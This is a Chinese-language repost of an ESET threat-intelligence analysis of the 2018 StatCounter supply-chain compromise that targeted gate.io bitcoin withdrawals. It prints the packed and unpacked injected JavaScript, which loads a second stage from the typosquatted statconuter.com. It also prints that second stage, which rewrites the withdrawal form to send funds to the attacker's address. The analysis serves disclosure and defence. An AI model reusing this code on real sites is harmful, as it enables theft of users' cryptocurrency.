对加密货币交易所gate.io的供应链攻击
经过BCSEC不完全统计,除了gate.io之外,另外约有10个加密货币交易所也使用了StatCounter,可能已经遭受攻击。

Z89A(TO{1J~F3Z~PP)JVX`E.png

以下为转载原文:


11月3日,攻击者成功攻击了领先的网络分析平台StatCounter。许多网站管理员都使用此服务来收集访问者的统计信息 - 这项服务与Google Analytics非常相似。为此,网站管理员通常会在每个网页中添加一个外部JavaScript代码,其中包含来自StatCounter的一段代码 - www.statcounter.com/counter/counter.js。因此,通过攻击StatCounter平台,攻击者可以在使用StatCounter的所有网站中注入JavaScript代码。

根据他们的网站,StatCounter拥有超过200万个会员网站,它每月的页面浏览量超过100亿次。这些信息符合其Alexa排名略高于5000.相比之下,Debian Linux发行版的官方网站debian.org具有类似的Alexa排名。

1 wm

攻击者修改的脚本在 www.statcounter[.]com/counter/counter.js 通过加入一块恶意代码,在“美化”下面表格中所示,在脚本的中间。这是不寻常的,因为攻击者通常会在合法文件的开头或结尾添加恶意代码。注入现有脚本中间的代码通常难以通过一般观察检测到。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

eval(function(p, a, c, k, e, r) {

    e = function(c) {

        return c.toString(a)

    };

    if (!''.replace(/^/, String)) {

        while (c--) r[e(c)] = k[c] || e(c);

        k = [function(e) {

            return r[e]

        }];

        e = function() {

            return '\w+'

        };

        c = 1

    };

    while (c--)

        if (k[c]) p = p.replace(new RegExp('\b' + e(c) + '\b', 'g'), k[c]);

    return p

}('3=""+2.4;5(3.6('7/8/9')>-1){a 0=2.b('d');0.e='f://g.h.i/c.j';0.k('l','m');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||

script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|

firstChild|appendChild'.split('|'), 0, {}));

该脚本包含Dean Edwards打包器,这可能是最受欢迎的JavaScript打包器。但是,它可以简单地解压缩,从而导致运行实际的脚本代码,如下所示。

1

2

3

4

5

6

7

myselfloc = '' + document.location;

if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {

var ga = document.createElement('script');

ga.src = 'https://www.statconuter.com/c.php';

ga.setAttribute('async', 'true');

document.documentElement.firstChild.appendChild(ga);

}

这段代码将首先检查URL是否包含  myaccount / withdraw / BTC。因此,我们已经可以猜测攻击者的目标是以比特币平台为目标。如果检查通过,脚本将继续向网页添加新的脚本元素,并将代码合并到https://www.statconuter.com/c.php。

请注意,攻击者注册的域名非常类似于Statcounter , statcounter [。] com 。他们刚刚切换了两个字母,在扫描日志以查找异常活动时很难注意到。有趣的是,通过检查域的被动DNS,我们注意到该域已于2010年因滥用而被暂停。

如上所述,脚本以特定的统一资源标识符(URI)为目标:myaccount / withdraw / BTC。事实证明,在写入时不同的加密货币交换中,只有gate.io具有带有此URI的有效页面。因此,这种交换似乎是这次袭击的主要目标。这种交流非常受欢迎,在中国的Alexa排名为26,251甚至8,308。

此外,根据coinmarketcap.com,数百万美元,包括160万美元的比特币交易,每天都在运送这个平台。因此,攻击者在这个平台上大规模窃取加密货币可能是非常有利可图的。

网页https://www.gate[.]io/myaccount/withdraw/BTC ,如下所示,用于将比特币从gate.io帐户转移到外部比特币地址。

或许不令人吃惊,事实证明,在第二阶段的有效载荷,从statconuter [。] COM / c.php ,被设计成窃取比特币。因此,将脚本注入gate.io比特币转移网页是有意义的。这个脚本也包含Dean Edwards打包器。解压缩版本如下所示。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

document.forms[0]['addr'].value = '';

document.forms[0]['amount'].value = '';

doSubmit1 = doSubmit;

doSubmit = function () {

var a = document.getElementById('withdraw_form');

if ($('#amount').val() > 10) {

document.forms[0]['addr']['name'] = '';

var s = $("<input type='hidden' name='addr'/>");

s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');

var b = $('#withdraw_form');

b.append(s);

a.submit();

} else if (document.getElementById('canUse').innerText > 10) {

document.forms[0]['addr']['name'] = '';

var s = $("<input type='hidden' name='addr'/>");

s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');

var b = $('#withdraw_form');

b.append(s);

document.forms[0]['amount']['name'] = '';

var t = $("<input type='hidden' name='amount'/>");

t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));

b.append(t);

a.submit();

} else {

doSubmit1();

}

};

在真正的gate.io网页中,已经有一个doSubmit函数,当用户点击提交按钮时调用,但攻击者在这里重新定义它。

该脚本会自动使用属于攻击者的地址替换目标比特币地址,例如1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad。每次访问者加载statconuter [。] com / c.php脚本时,恶意服务器都会生成一个新的比特币地址。因此,很难看出有多少比特币已转移给攻击者。

根据受害者是否输入超过10 BTC的金额,攻击者的脚本将使用它或使用受害者帐户的每日提款限额。在我们的测试帐户中,默认情况下,提款限额设置为100 BTC。最后,恶意脚本提交表单,该表单执行从受害者帐户到攻击者钱包的转移。

这种重定向可能对受害者来说不明显,因为替换是在他们点击提交按钮后执行的。因此,它会很快发生,甚至可能不会显示。

由于每次将恶意脚本发送给受害者时都会生成一个新的比特币地址,我们无法看到攻击者收集了多少比特币。例如,如果我们检查我们在测试机器上收到的地址,则余额为0 BTC。

结论

即使我们不知道在这次攻击中有多少比特币被盗,它也会显示攻击者攻击一个特定网站的距离,特别是加密货币交换。为了实现这一目标,他们破坏了分析服务的网站,该网站被超过200万个其他网站(包括几个与政府相关的网站)用于从一个加密货币交换网站的客户那里窃取比特币。

它还表明,即使您的网站已更新并受到良好保护,它仍然容易受到最薄弱的链接的影响,在这种情况下,该链接是外部资源。这是另一个提醒,外部JavaScript代码由第三方控制,可以随时修改,且不另行通知。

我们一发现这种恶意活动,就通知了StatCounter和gate.io.

如有任何疑问或提交与主题相关的样品,请通过threatintel@eset.com与我们联系。

IoC

恶意网址

  • statcounter[.]com/counter/counter.js

  • statconuter[.]com/c.php

*文章为作者独立观点,不代表BSCEC立场

转载此文章须经作者同意,并请附上出处(welivesecurity)及本页链接。原文链接 https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/

白帽汇安全研究院转载2018-11-07 16:26:45 welivesecurity 756